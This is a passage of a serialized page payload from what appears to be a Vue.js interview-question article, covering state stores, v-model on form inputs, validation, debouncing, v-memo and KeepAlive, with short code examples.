localStorage.",[132,16123,16124],{"class":158},"getItem",[132,16126,243],{"class":138},[132,16128,16051],{"class":165},[132,16130,249],{"class":138},[132,16132,16133,16135,16138,16141,16143,16146,16148,16151],{"class":134,"line":149},[132,16134,1170],{"class":209},[132,16136,16137],{"class":138}," (saved) authStore.",[132,16139,16140],{"class":158},"$patch",[132,16142,243],{"class":138},[132,16144,16145],{"class":233},"JSON",[132,16147,385],{"class":138},[132,16149,16150],{"class":158},"parse",[132,16152,16153],{"class":138},"(saved))\n",[132,16155,16156],{"class":134,"line":176},[132,16157,190],{"emptyLinePlaceholder":189},[132,16159,16160,16163,16165,16167,16169,16171,16173,16175,16177],{"class":134,"line":186},[132,16161,16162],{"class":138},"authStore.",[132,16164,15874],{"class":158},[132,16166,6351],{"class":138},[132,16168,15879],{"class":697},[132,16170,581],{"class":138},[132,16172,3525],{"class":697},[132,16174,5284],{"class":138},[132,16176,2662],{"class":209},[132,16178,316],{"class":138},[132,16180,16181,16184,16187,16189,16191,16193,16195,16197,16200],{"class":134,"line":193},[132,16182,16183],{"class":138},"    localStorage.",[132,16185,16186],{"class":158},"setItem",[132,16188,243],{"class":138},[132,16190,16051],{"class":165},[132,16192,581],{"class":138},[132,16194,16145],{"class":233},[132,16196,385],{"class":138},[132,16198,16199],{"class":158},"stringify",[132,16201,16202],{"class":138},"(state))\n",[132,16204,16205],{"class":134,"line":206},[132,16206,3156],{"class":138},[11,16208,16209],{},"Either way, the two moving parts are the same: write state out on every change, and read it back in before the store is first used.",[34,16211,16213],{"id":16212},"_114-when-should-you-reach-for-a-store-instead-of-provideinject-or-lifting-state-up","114. When should you reach for a store instead of provide/inject or lifting state up?",[11,16215,16216,16217,4319,16219,16221],{},"Lifting state up (moving it to a shared parent and passing it down via props) works well when the components that need the state are close together in the tree. ",[18,16218,10030],{},[18,16220,10033],{}," works well when one ancestor needs to expose something to a deep subtree without drilling props through every level in between. Both assume there is a natural, findable \"owner\" component for the state.",[11,16223,16224],{},"Reach for a store instead once that assumption breaks down: when the state needs to be read or written from components that live in completely different, unrelated branches of the tree (like a shopping cart icon in the header and a checkout page); when the state needs to outlive a particular component tree, for example surviving route navigation; or when you want the debugging benefits, action logging and devtools time travel, that come with a real store. A rough rule of thumb: if you catch yourself passing a prop through three or more components that do not use it themselves just to reach a fourth, or if two unrelated routes both need the same live data, that is a strong sign it belongs in a store rather than in props or provide/inject.",[29,16226,16228],{"id":16227},"forms-and-input-handling","Forms and Input Handling",[34,16230,16232,16233,16235],{"id":16231},"_115-how-does-v-model-behave-differently-on-a-text-input-a-checkbox-a-radio-button-and-a-select","115. How does ",[18,16234,2182],{}," behave differently on a text input, a checkbox, a radio button, and a select?",[11,16237,16238,16240],{},[18,16239,2182],{}," is really just sugar over an event listener and a value binding, but which event and which prop it uses changes depending on the element.",[479,16242,16243,16256],{},[482,16244,16245],{},[485,16246,16247,16250,16253],{},[488,16248,16249],{},"Element",[488,16251,16252],{},"Value bound",[488,16254,16255],{},"Event listened",[498,16257,16258,16271,16286,16301,16318],{},[485,16259,16260,16263,16267],{},[503,16261,16262],{},"Text input / textarea",[503,16264,16265],{},[18,16266,4628],{},[503,16268,16269],{},[18,16270,2200],{},[485,16272,16273,16276,16282],{},[503,16274,16275],{},"Checkbox (single)",[503,16277,16278,16281],{},[18,16279,16280],{},"checked",", bound value is a boolean",[503,16283,16284],{},[18,16285,2312],{},[485,16287,16288,16294,16297],{},[503,16289,16290,16291,16293],{},"Checkbox (bound to array, with a ",[18,16292,4628],{}," attr)",[503,16295,16296],{},"pushes or removes the value from the array",[503,16298,16299],{},[18,16300,2312],{},[485,16302,16303,16306,16314],{},[503,16304,16305],{},"Radio button",[503,16307,16308,16310,16311,16313],{},[18,16309,16280],{},", bound variable gets the radio's ",[18,16312,4628],{}," when selected",[503,16315,16316],{},[18,16317,2312],{},[485,16319,16320,16325,16336],{},[503,16321,16322],{},[18,16323,16324],{},"\u003Cselect>",[503,16326,16327,16329,16330,16333,16334],{},[18,16328,4628],{},", matches the selected ",[18,16331,16332],{},"\u003Coption>","'s ",[18,16335,4628],{},[503,16337,16338],{},[18,16339,2312],{},[11,16341,16342,16343,16346,16347,16350,16351,4319,16353,16355,16356,16358,16359,16361,16362,16364,16365,16367,16368,16370],{},"For a text input, ",[18,16344,16345],{},"v-model=\"text\""," is shorthand for ",[18,16348,16349],{},":value=\"text\" @input=\"text = $event.target.value\"",", updating on every keystroke. For a checkbox bound to a plain variable, the variable becomes ",[18,16352,1853],{},[18,16354,4614],{},". For a radio group, every radio shares the same ",[18,16357,2182],{},", and each one sets that variable to its own ",[18,16360,4628],{}," attribute when picked. For a select, the bound variable takes on the ",[18,16363,4628],{}," of whichever ",[18,16366,16332],{}," is currently selected. Vue picks the right prop and event automatically based on the element type, that mapping is what ",[18,16369,2182],{}," abstracts away.",[34,16372,16374,16375,16377],{"id":16373},"_116-how-do-you-bind-v-model-to-a-group-of-checkboxes-or-radio-buttons","116. How do you bind ",[18,16376,2182],{}," to a group of checkboxes or radio buttons?",[11,16379,16380,16381,16383,16384,16386],{},"For a group of checkboxes that should all update the same array, bind the same ",[18,16382,2182],{}," to every checkbox and give each one a ",[18,16385,4628],{}," attribute. Vue automatically pushes the value into the array when the box is checked and removes it when unchecked.",[123,16388,16390],{"className":125,"code":16389,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Clabel>\u003Cinput type=\"checkbox\" v-model=\"selected\" value=\"apple\" /> Apple\u003C/label>\n    \u003Clabel>\u003Cinput type=\"checkbox\" v-model=\"selected\" value=\"banana\" /> Banana\u003C/label>\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst selected = ref([])\n\u003C/script>\n",[18,16391,16392,16400,16438,16474,16482,16486,16496,16506,16510,16523],{"__ignoreMap":128},[132,16393,16394,16396,16398],{"class":134,"line":135},[132,16395,139],{"class":138},[132,16397,143],{"class":142},[132,16399,146],{"class":138},[132,16401,16402,16404,16406,16408,16410,16412,16414,16417,16419,16421,16424,16426,16428,16431,16434,16436],{"class":134,"line":149},[132,16403,152],{"class":138},[132,16405,8183],{"class":142},[132,16407,9156],{"class":138},[132,16409,2200],{"class":142},[132,16411,2261],{"class":158},[132,16413,162],{"class":138},[132,16415,16416],{"class":165},"\"checkbox\"",[132,16418,7437],{"class":158},[132,16420,162],{"class":138},[132,16422,16423],{"class":165},"\"selected\"",[132,16425,4798],{"class":158},[132,16427,162],{"class":138},[132,16429,16430],{"class":165},"\"apple\"",[132,16432,16433],{"class":138}," /> Apple\u003C/",[132,16435,8183],{"class":142},[132,16437,146],{"class":138},[132,16439,16440,16442,16444,16446,16448,16450,16452,16454,16456,16458,16460,16462,16464,16467,16470,16472],{"class":134,"line":176},[132,16441,152],{"class":138},[132,16443,8183],{"class":142},[132,16445,9156],{"class":138},[132,16447,2200],{"class":142},[132,16449,2261],{"class":158},[132,16451,162],{"class":138},[132,16453,16416],{"class":165},[132,16455,7437],{"class":158},[132,16457,162],{"class":138},[132,16459,16423],{"class":165},[132,16461,4798],{"class":158},[132,16463,162],{"class":138},[132,16465,16466],{"class":165},"\"banana\"",[132,16468,16469],{"class":138}," /> Banana\u003C/",[132,16471,8183],{"class":142},[132,16473,146],{"class":138},[132,16475,16476,16478,16480],{"class":134,"line":186},[132,16477,179],{"class":138},[132,16479,143],{"class":142},[132,16481,146],{"class":138},[132,16483,16484],{"class":134,"line":193},[132,16485,190],{"emptyLinePlaceholder":189},[132,16487,16488,16490,16492,16494],{"class":134,"line":206},[132,16489,139],{"class":138},[132,16491,198],{"class":142},[132,16493,201],{"class":158},[132,16495,146],{"class":138},[132,16497,16498,16500,16502,16504],{"class":134,"line":222},[132,16499,210],{"class":209},[132,16501,213],{"class":138},[132,16503,216],{"class":209},[132,16505,219],{"class":165},[132,16507,16508],{"class":134,"line":227},[132,16509,190],{"emptyLinePlaceholder":189},[132,16511,16512,16514,16517,16519,16521],{"class":134,"line":252},[132,16513,230],{"class":209},[132,16515,16516],{"class":233}," selected",[132,16518,237],{"class":209},[132,16520,240],{"class":158},[132,16522,15372],{"class":138},[132,16524,16525,16527,16529],{"class":134,"line":257},[132,16526,179],{"class":138},[132,16528,198],{"class":142},[132,16530,146],{"class":138},[11,16532,16533,16534,16536,16537,16539],{},"Radio buttons work the same way conceptually, but since only one can be picked, the bound variable becomes a single value, not an array. Every radio in the group shares the same ",[18,16535,2182],{},", only their ",[18,16538,4628],{}," attributes differ.",[123,16541,16543],{"className":125,"code":16542,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Clabel>\u003Cinput type=\"radio\" v-model=\"size\" value=\"small\" /> Small\u003C/label>\n    \u003Clabel>\u003Cinput type=\"radio\" v-model=\"size\" value=\"large\" /> Large\u003C/label>\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst size = ref('small')\n\u003C/script>\n",[18,16544,16545,16553,16591,16627,16635,16639,16649,16659,16663,16681],{"__ignoreMap":128},[132,16546,16547,16549,16551],{"class":134,"line":135},[132,16548,139],{"class":138},[132,16550,143],{"class":142},[132,16552,146],{"class":138},[132,16554,16555,16557,16559,16561,16563,16565,16567,16570,16572,16574,16577,16579,16581,16584,16587,16589],{"class":134,"line":149},[132,16556,152],{"class":138},[132,16558,8183],{"class":142},[132,16560,9156],{"class":138},[132,16562,2200],{"class":142},[132,16564,2261],{"class":158},[132,16566,162],{"class":138},[132,16568,16569],{"class":165},"\"radio\"",[132,16571,7437],{"class":158},[132,16573,162],{"class":138},[132,16575,16576],{"class":165},"\"size\"",[132,16578,4798],{"class":158},[132,16580,162],{"class":138},[132,16582,16583],{"class":165},"\"small\"",[132,16585,16586],{"class":138}," /> Small\u003C/",[132,16588,8183],{"class":142},[132,16590,146],{"class":138},[132,16592,16593,16595,16597,16599,16601,16603,16605,16607,16609,16611,16613,16615,16617,16620,16623,16625],{"class":134,"line":176},[132,16594,152],{"class":138},[132,16596,8183],{"class":142},[132,16598,9156],{"class":138},[132,16600,2200],{"class":142},[132,16602,2261],{"class":158},[132,16604,162],{"class":138},[132,16606,16569],{"class":165},[132,16608,7437],{"class":158},[132,16610,162],{"class":138},[132,16612,16576],{"class":165},[132,16614,4798],{"class":158},[132,16616,162],{"class":138},[132,16618,16619],{"class":165},"\"large\"",[132,16621,16622],{"class":138}," /> Large\u003C/",[132,16624,8183],{"class":142},[132,16626,146],{"class":138},[132,16628,16629,16631,16633],{"class":134,"line":186},[132,16630,179],{"class":138},[132,16632,143],{"class":142},[132,16634,146],{"class":138},[132,16636,16637],{"class":134,"line":193},[132,16638,190],{"emptyLinePlaceholder":189},[132,16640,16641,16643,16645,16647],{"class":134,"line":206},[132,16642,139],{"class":138},[132,16644,198],{"class":142},[132,16646,201],{"class":158},[132,16648,146],{"class":138},[132,16650,16651,16653,16655,16657],{"class":134,"line":222},[132,16652,210],{"class":209},[132,16654,213],{"class":138},[132,16656,216],{"class":209},[132,16658,219],{"class":165},[132,16660,16661],{"class":134,"line":227},[132,16662,190],{"emptyLinePlaceholder":189},[132,16664,16665,16667,16670,16672,16674,16676,16679],{"class":134,"line":252},[132,16666,230],{"class":209},[132,16668,16669],{"class":233}," size",[132,16671,237],{"class":209},[132,16673,240],{"class":158},[132,16675,243],{"class":138},[132,16677,16678],{"class":165},"'small'",[132,16680,249],{"class":138},[132,16682,16683,16685,16687],{"class":134,"line":257},[132,16684,179],{"class":138},[132,16686,198],{"class":142},[132,16688,146],{"class":138},[11,16690,16691,16692,16694],{},"In both cases, the key detail is that every input in the group points at the exact same reactive variable, only the static ",[18,16693,4628],{}," attribute changes between inputs.",[34,16696,16698],{"id":16697},"_117-what-is-the-difference-between-a-controlled-and-an-uncontrolled-form-input-in-vue","117. What is the difference between a controlled and an uncontrolled form input in Vue?",[11,16700,16701,16702,16704,16705,16707,16708,16710,16711,16713,16714,16717],{},"A controlled input's value is driven entirely by reactive state: the input's ",[18,16703,4628],{}," comes from a ",[18,16706,1004],{},", and every change flows back into that same ",[18,16709,1004],{}," through ",[18,16712,2182],{}," or a manual ",[18,16715,16716],{},"@input"," handler. Vue state is the single source of truth, the DOM element just reflects it.",[11,16719,16720,16721,16723],{},"An uncontrolled input is left to manage its own value internally, in the DOM, and Vue does not bind it to any reactive variable. You would read its value only when needed, typically using a template ref and reading ",[18,16722,3075],{}," off the actual DOM element (for example, when the form is submitted), rather than tracking every keystroke in reactive state.",[123,16725,16727],{"className":125,"code":16726,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cinput ref=\"nameInput\" type=\"text\" />\n    \u003Cbutton @click=\"submit\">Submit\u003C/button>\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst nameInput = ref(null)\n\nfunction submit() {\n    console.log(nameInput.value.value)\n}\n\u003C/script>\n",[18,16728,16729,16737,16759,16779,16787,16791,16801,16811,16815,16832,16836,16845,16854,16858],{"__ignoreMap":128},[132,16730,16731,16733,16735],{"class":134,"line":135},[132,16732,139],{"class":138},[132,16734,143],{"class":142},[132,16736,146],{"class":138},[132,16738,16739,16741,16743,16745,16747,16750,16752,16754,16757],{"class":134,"line":149},[132,16740,152],{"class":138},[132,16742,2200],{"class":142},[132,16744,240],{"class":158},[132,16746,162],{"class":138},[132,16748,16749],{"class":165},"\"nameInput\"",[132,16751,2261],{"class":158},[132,16753,162],{"class":138},[132,16755,16756],{"class":165},"\"text\"",[132,16758,1287],{"class":138},[132,16760,16761,16763,16765,16767,16769,16772,16775,16777],{"class":134,"line":176},[132,16762,152],{"class":138},[132,16764,155],{"class":142},[132,16766,159],{"class":158},[132,16768,162],{"class":138},[132,16770,16771],{"class":165},"\"submit\"",[132,16773,16774],{"class":138},">Submit\u003C/",[132,16776,155],{"class":142},[132,16778,146],{"class":138},[132,16780,16781,16783,16785],{"class":134,"line":186},[132,16782,179],{"class":138},[132,16784,143],{"class":142},[132,16786,146],{"class":138},[132,16788,16789],{"class":134,"line":193},[132,16790,190],{"emptyLinePlaceholder":189},[132,16792,16793,16795,16797,16799],{"class":134,"line":206},[132,16794,139],{"class":138},[132,16796,198],{"class":142},[132,16798,201],{"class":158},[132,16800,146],{"class":138},[132,16802,16803,16805,16807,16809],{"class":134,"line":222},[132,16804,210],{"class":209},[132,16806,213],{"class":138},[132,16808,216],{"class":209},[132,16810,219],{"class":165},[132,16812,16813],{"class":134,"line":227},[132,16814,190],{"emptyLinePlaceholder":189},[132,16816,16817,16819,16822,16824,16826,16828,16830],{"class":134,"line":252},[132,16818,230],{"class":209},[132,16820,16821],{"class":233}," nameInput",[132,16823,237],{"class":209},[132,16825,240],{"class":158},[132,16827,243],{"class":138},[132,16829,719],{"class":233},[132,16831,249],{"class":138},[132,16833,16834],{"class":134,"line":257},[132,16835,190],{"emptyLinePlaceholder":189},[132,16837,16838,16840,16843],{"class":134,"line":269},[132,16839,260],{"class":209},[132,16841,16842],{"class":158}," submit",[132,16844,266],{"class":138},[132,16846,16847,16849,16851],{"class":134,"line":278},[132,16848,3140],{"class":138},[132,16850,3143],{"class":158},[132,16852,16853],{"class":138},"(nameInput.value.value)\n",[132,16855,16856],{"class":134,"line":284},[132,16857,281],{"class":138},[132,16859,16860,16862,16864],{"class":134,"line":293},[132,16861,179],{"class":138},[132,16863,198],{"class":142},[132,16865,146],{"class":138},[11,16867,16868,16869,16871],{},"Most Vue forms use controlled inputs via ",[18,16870,2182],{}," because it keeps validation, computed values, and conditional UI trivial to write against reactive state. Uncontrolled inputs show up when you genuinely do not need to react to every change, for example a rarely touched field, or when integrating a non-Vue widget that manages its own DOM state.",[34,16873,16875],{"id":16874},"_118-how-do-you-approach-form-validation-in-vue-and-when-would-you-reach-for-a-library-like-veevalidate","118. How do you approach form validation in Vue, and when would you reach for a library like VeeValidate?",[11,16877,16878,16879,16881,16882,16884,16885,16887,16888,4319,16890,16892],{},"For simple forms, you can validate by hand: bind each field with ",[18,16880,2182],{},", keep a ",[18,16883,1004],{}," (or a ",[18,16886,3999],{}," object) for error messages, and run your checks either on submit or with a ",[18,16889,629],{},[18,16891,5029],{}," on the field. This keeps validation logic fully visible and dependency free.",[123,16894,16896],{"className":125,"code":16895,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\n\nconst email = ref('')\nconst error = computed(() => {\n    if (!email.value) return 'Email is required'\n    if (!email.value.includes('@')) return 'Email looks invalid'\n    return ''\n})\n\u003C/script>\n",[18,16897,16898,16908,16918,16922,16939,16955,16971,16997,17004,17008],{"__ignoreMap":128},[132,16899,16900,16902,16904,16906],{"class":134,"line":135},[132,16901,139],{"class":138},[132,16903,198],{"class":142},[132,16905,201],{"class":158},[132,16907,146],{"class":138},[132,16909,16910,16912,16914,16916],{"class":134,"line":149},[132,16911,210],{"class":209},[132,16913,5527],{"class":138},[132,16915,216],{"class":209},[132,16917,219],{"class":165},[132,16919,16920],{"class":134,"line":176},[132,16921,190],{"emptyLinePlaceholder":189},[132,16923,16924,16926,16929,16931,16933,16935,16937],{"class":134,"line":186},[132,16925,230],{"class":209},[132,16927,16928],{"class":233}," email",[132,16930,237],{"class":209},[132,16932,240],{"class":158},[132,16934,243],{"class":138},[132,16936,13616],{"class":165},[132,16938,249],{"class":138},[132,16940,16941,16943,16945,16947,16949,16951,16953],{"class":134,"line":193},[132,16942,230],{"class":209},[132,16944,12032],{"class":233},[132,16946,237],{"class":209},[132,16948,2656],{"class":158},[132,16950,2659],{"class":138},[132,16952,2662],{"class":209},[132,16954,316],{"class":138},[132,16956,16957,16959,16961,16963,16966,16968],{"class":134,"line":206},[132,16958,14051],{"class":209},[132,16960,5454],{"class":138},[132,16962,2576],{"class":209},[132,16964,16965],{"class":138},"email.value) ",[132,16967,972],{"class":209},[132,16969,16970],{"class":165}," 'Email is required'\n",[132,16972,16973,16975,16977,16979,16982,16984,16986,16989,16992,16994],{"class":134,"line":222},[132,16974,14051],{"class":209},[132,16976,5454],{"class":138},[132,16978,2576],{"class":209},[132,16980,16981],{"class":138},"email.value.",[132,16983,6627],{"class":158},[132,16985,243],{"class":138},[132,16987,16988],{"class":165},"'@'",[132,16990,16991],{"class":138},")) ",[132,16993,972],{"class":209},[132,16995,16996],{"class":165}," 'Email looks invalid'\n",[132,16998,16999,17001],{"class":134,"line":227},[132,17000,706],{"class":209},[132,17002,17003],{"class":165}," ''\n",[132,17005,17006],{"class":134,"line":252},[132,17007,3156],{"class":138},[132,17009,17010,17012,17014],{"class":134,"line":257},[132,17011,179],{"class":138},[132,17013,198],{"class":142},[132,17015,146],{"class":138},[11,17017,17018,17019,581,17022,17025],{},"This works fine for a login form with two fields, but it gets messy fast once you have many fields, cross field rules (like \"confirm password must match password\"), async checks (like \"is this username taken\"), or nested/dynamic form arrays. That is when a library like VeeValidate earns its place: it gives you a schema based way to describe rules (often paired with a validation schema library like Yup or Zod), handles touched/dirty state, error message display, and submit blocking, and provides composables (",[18,17020,17021],{},"useField",[18,17023,17024],{},"useForm",") that plug straight into Vue's reactivity so you are not reinventing that state tracking yourself. The rule of thumb: hand rolled validation for a couple of simple fields, a library once the form has real complexity or you are repeating the same validation patterns across many forms.",[34,17027,17029,17030,592,17032,17035],{"id":17028},"_119-what-is-the-difference-between-listening-to-input-and-change-on-a-text-field","119. What is the difference between listening to ",[18,17031,16716],{},[18,17033,17034],{},"@change"," on a text field?",[11,17037,17038,17040,17041,17043],{},[18,17039,16716],{}," fires on every value change as it happens, for a text field that means every keystroke, paste, or programmatic value change. ",[18,17042,17034],{}," fires only once the value has been committed, for a text field that is when the field loses focus (blurs) after its value changed, not on every keystroke.",[123,17045,17047],{"className":125,"code":17046,"language":127,"meta":128,"style":128},"\u003Cinput @input=\"onInput\" @change=\"onChange\" />\n",[18,17048,17049],{"__ignoreMap":128},[132,17050,17051,17053,17055,17057,17059,17061,17063,17066,17068,17070,17072,17074,17076,17079,17081],{"class":134,"line":135},[132,17052,139],{"class":138},[132,17054,2200],{"class":142},[132,17056,7220],{"class":138},[132,17058,2200],{"class":158},[132,17060,162],{"class":138},[132,17062,1597],{"class":165},[132,17064,17065],{"class":138},"onInput",[132,17067,1597],{"class":165},[132,17069,7220],{"class":138},[132,17071,2312],{"class":158},[132,17073,162],{"class":138},[132,17075,1597],{"class":165},[132,17077,17078],{"class":138},"onChange",[132,17080,1597],{"class":165},[132,17082,1287],{"class":138},[11,17084,17085,17087,17088,17090,17091,17093,17094,17096,17097,17099,17100,17102],{},[18,17086,2182],{}," on a plain text input uses ",[18,17089,2200],{}," under the hood, which is why the bound variable updates live as you type. If you want to react to every keystroke (live character count, live search suggestions), listen for ",[18,17092,16716],{}," (or just use ",[18,17095,2182],{}," and a ",[18,17098,5029],{},"). If you only care about the final value once the user is done editing a field (like triggering a validation check or an expensive computation when they tab away), ",[18,17101,17034],{}," avoids running that logic on every single keystroke.",[34,17104,17106,17107,17109],{"id":17105},"_120-how-would-you-debounce-a-v-model-bound-search-input","120. How would you debounce a ",[18,17108,2182],{}," bound search input?",[11,17111,17112,17114],{},[18,17113,2182],{}," itself does not debounce, it updates the bound variable on every keystroke, so if that variable directly triggers a network request, you will fire a request per character typed. The usual fix is to separate the \"what the user is typing\" state from the \"what we actually search for\" state, and only update the second one after typing has paused.",[123,17116,17118],{"className":125,"code":17117,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cinput v-model=\"query\" placeholder=\"Search...\" />\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref, watch } from 'vue'\n\nconst query = ref('')\nlet timer = null\n\nwatch(query, (value) => {\n    clearTimeout(timer)\n    timer = setTimeout(() => {\n        search(value)\n    }, 300)\n})\n\nfunction search(value) {\n    // fire the actual API call here\n}\n\u003C/script>\n",[18,17119,17120,17128,17151,17159,17163,17173,17184,17188,17205,17217,17221,17236,17244,17260,17267,17277,17281,17285,17298,17303,17307],{"__ignoreMap":128},[132,17121,17122,17124,17126],{"class":134,"line":135},[132,17123,139],{"class":138},[132,17125,143],{"class":142},[132,17127,146],{"class":138},[132,17129,17130,17132,17134,17136,17138,17141,17144,17146,17149],{"class":134,"line":149},[132,17131,152],{"class":138},[132,17133,2200],{"class":142},[132,17135,7437],{"class":158},[132,17137,162],{"class":138},[132,17139,17140],{"class":165},"\"query\"",[132,17142,17143],{"class":158}," placeholder",[132,17145,162],{"class":138},[132,17147,17148],{"class":165},"\"Search...\"",[132,17150,1287],{"class":138},[132,17152,17153,17155,17157],{"class":134,"line":176},[132,17154,179],{"class":138},[132,17156,143],{"class":142},[132,17158,146],{"class":138},[132,17160,17161],{"class":134,"line":186},[132,17162,190],{"emptyLinePlaceholder":189},[132,17164,17165,17167,17169,17171],{"class":134,"line":193},[132,17166,139],{"class":138},[132,17168,198],{"class":142},[132,17170,201],{"class":158},[132,17172,146],{"class":138},[132,17174,17175,17177,17180,17182],{"class":134,"line":206},[132,17176,210],{"class":209},[132,17178,17179],{"class":138}," { ref, watch } ",[132,17181,216],{"class":209},[132,17183,219],{"class":165},[132,17185,17186],{"class":134,"line":222},[132,17187,190],{"emptyLinePlaceholder":189},[132,17189,17190,17192,17195,17197,17199,17201,17203],{"class":134,"line":227},[132,17191,230],{"class":209},[132,17193,17194],{"class":233}," query",[132,17196,237],{"class":209},[132,17198,240],{"class":158},[132,17200,243],{"class":138},[132,17202,13616],{"class":165},[132,17204,249],{"class":138},[132,17206,17207,17209,17212,17214],{"class":134,"line":252},[132,17208,5401],{"class":209},[132,17210,17211],{"class":138}," timer ",[132,17213,162],{"class":209},[132,17215,17216],{"class":233}," null\n",[132,17218,17219],{"class":134,"line":257},[132,17220,190],{"emptyLinePlaceholder":189},[132,17222,17223,17225,17228,17230,17232,17234],{"class":134,"line":269},[132,17224,5029],{"class":158},[132,17226,17227],{"class":138},"(query, (",[132,17229,4628],{"class":697},[132,17231,5284],{"class":138},[132,17233,2662],{"class":209},[132,17235,316],{"class":138},[132,17237,17238,17241],{"class":134,"line":278},[132,17239,17240],{"class":158},"    clearTimeout",[132,17242,17243],{"class":138},"(timer)\n",[132,17245,17246,17249,17251,17254,17256,17258],{"class":134,"line":284},[132,17247,17248],{"class":138},"    timer ",[132,17250,162],{"class":209},[132,17252,17253],{"class":158}," setTimeout",[132,17255,2659],{"class":138},[132,17257,2662],{"class":209},[132,17259,316],{"class":138},[132,17261,17262,17265],{"class":134,"line":293},[132,17263,17264],{"class":158},"        search",[132,17266,4819],{"class":138},[132,17268,17269,17272,17275],{"class":134,"line":298},[132,17270,17271],{"class":138},"    }, ",[132,17273,17274],{"class":233},"300",[132,17276,249],{"class":138},[132,17278,17279],{"class":134,"line":311},[132,17280,3156],{"class":138},[132,17282,17283],{"class":134,"line":319},[132,17284,190],{"emptyLinePlaceholder":189},[132,17286,17287,17289,17292,17294,17296],{"class":134,"line":331},[132,17288,260],{"class":209},[132,17290,17291],{"class":158}," search",[132,17293,243],{"class":138},[132,17295,4628],{"class":697},[132,17297,701],{"class":138},[132,17299,17300],{"class":134,"line":336},[132,17301,17302],{"class":397},"    // fire the actual API call here\n",[132,17304,17305],{"class":134,"line":918},[132,17306,281],{"class":138},[132,17308,17309,17311,17313],{"class":134,"line":935},[132,17310,179],{"class":138},[132,17312,198],{"class":142},[132,17314,146],{"class":138},[11,17316,17317,17319,17320,17323,17324,17327,17328,1334,17331,17334,17335,17337],{},[18,17318,2182],{}," stays bound to ",[18,17321,17322],{},"query"," so the input feels instant, but the expensive ",[18,17325,17326],{},"search"," call only runs 300ms after the user stops typing. If you are already using VueUse, ",[18,17329,17330],{},"refDebounced",[18,17332,17333],{},"useDebounceFn"," do the same thing with less boilerplate, but the underlying idea is the same: let ",[18,17336,2182],{}," update local state immediately, and debounce the side effect that reads from it.",[29,17339,17341],{"id":17340},"performance-optimization","Performance Optimization",[34,17343,17345,17346,2825],{"id":17344},"_121-what-is-v-memo-and-when-would-you-use-it","121. What is ",[18,17347,17348],{},"v-memo",[11,17350,17351,17353],{},[18,17352,17348],{}," is a directive that memoizes a chunk of template, telling Vue to skip re-rendering that subtree as long as a list of dependency values hasn't changed. You give it an array of values to watch; if every value in that array is the same as last render, Vue reuses the existing vnode tree instead of re-diffing it.",[11,17355,17356,17357,17359],{},"It exists for edge cases where Vue's default reactivity and compiler optimizations (patch flags, block tree) aren't enough, typically huge ",[18,17358,1454],{}," lists where most rows never change and you've measured an actual bottleneck. It is not something you reach for by default; misusing it can cause stale UI if you forget to include a value the subtree actually depends on.",[123,17361,17363],{"className":125,"code":17362,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cdiv v-for=\"item in list\" :key=\"item.id\" v-memo=\"[item.id === selectedId]\">\n        \u003CExpensiveRow :item=\"item\" :selected=\"item.id === selectedId\" />\n    \u003C/div>\n\u003C/template>\n",[18,17364,17365,17373,17402,17427,17435],{"__ignoreMap":128},[132,17366,17367,17369,17371],{"class":134,"line":135},[132,17368,139],{"class":138},[132,17370,143],{"class":142},[132,17372,146],{"class":138},[132,17374,17375,17377,17379,17381,17383,17386,17388,17390,17392,17395,17397,17400],{"class":134,"line":149},[132,17376,152],{"class":138},[132,17378,1385],{"class":142},[132,17380,1494],{"class":158},[132,17382,162],{"class":138},[132,17384,17385],{"class":165},"\"item in list\"",[132,17387,1502],{"class":158},[132,17389,162],{"class":138},[132,17391,1507],{"class":165},[132,17393,17394],{"class":158}," v-memo",[132,17396,162],{"class":138},[132,17398,17399],{"class":165},"\"[item.id === selectedId]\"",[132,17401,146],{"class":138},[132,17403,17404,17406,17409,17412,17414,17417,17420,17422,17425],{"class":134,"line":176},[132,17405,1489],{"class":138},[132,17407,17408],{"class":142},"ExpensiveRow",[132,17410,17411],{"class":158}," :item",[132,17413,162],{"class":138},[132,17415,17416],{"class":165},"\"item\"",[132,17418,17419],{"class":158}," :selected",[132,17421,162],{"class":138},[132,17423,17424],{"class":165},"\"item.id === selectedId\"",[132,17426,1287],{"class":138},[132,17428,17429,17431,17433],{"class":134,"line":186},[132,17430,1528],{"class":138},[132,17432,1385],{"class":142},[132,17434,146],{"class":138},[132,17436,17437,17439,17441],{"class":134,"line":193},[132,17438,179],{"class":138},[132,17440,143],{"class":142},[132,17442,146],{"class":138},[11,17444,17445,17446,17449],{},"Here, a row only re-renders when its selected state flips, not every time ",[18,17447,17448],{},"selectedId"," changes and forces a full list re-render.",[34,17451,17453,17454,17456],{"id":17452},"_122-what-is-keepalive-and-how-does-it-improve-performance","122. What is ",[18,17455,584],{},", and how does it improve performance?",[11,17458,17459,17461,17462,10355,17465,17467,17468,17470],{},[18,17460,584],{}," is a built-in component that caches the component instances of its dynamic children instead of destroying and recreating them when they're toggled out and back in. Normally, switching a ",[18,17463,17464],{},"\u003Ccomponent :is>",[18,17466,13867],{}," unmounts the old component and mounts a fresh one, which re-runs ",[18,17469,968],{},", loses local state, and rebuilds the DOM from scratch.",[11,17472,17473,17474,17476],{},"Wrapping the dynamic content in ",[18,17475,584],{}," keeps the unmounted instance alive in memory, so switching back to it just reattaches its existing DOM and state. This is useful for things like tabs, forms with unsaved input, or list/detail views where you want scroll position and form state preserved.",[123,17478,17480],{"className":125,"code":17479,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003CKeepAlive :include=\"['UserForm', 'Settings']\" :max=\"10\">\n        \u003Ccomponent :is=\"activeTab\" />\n    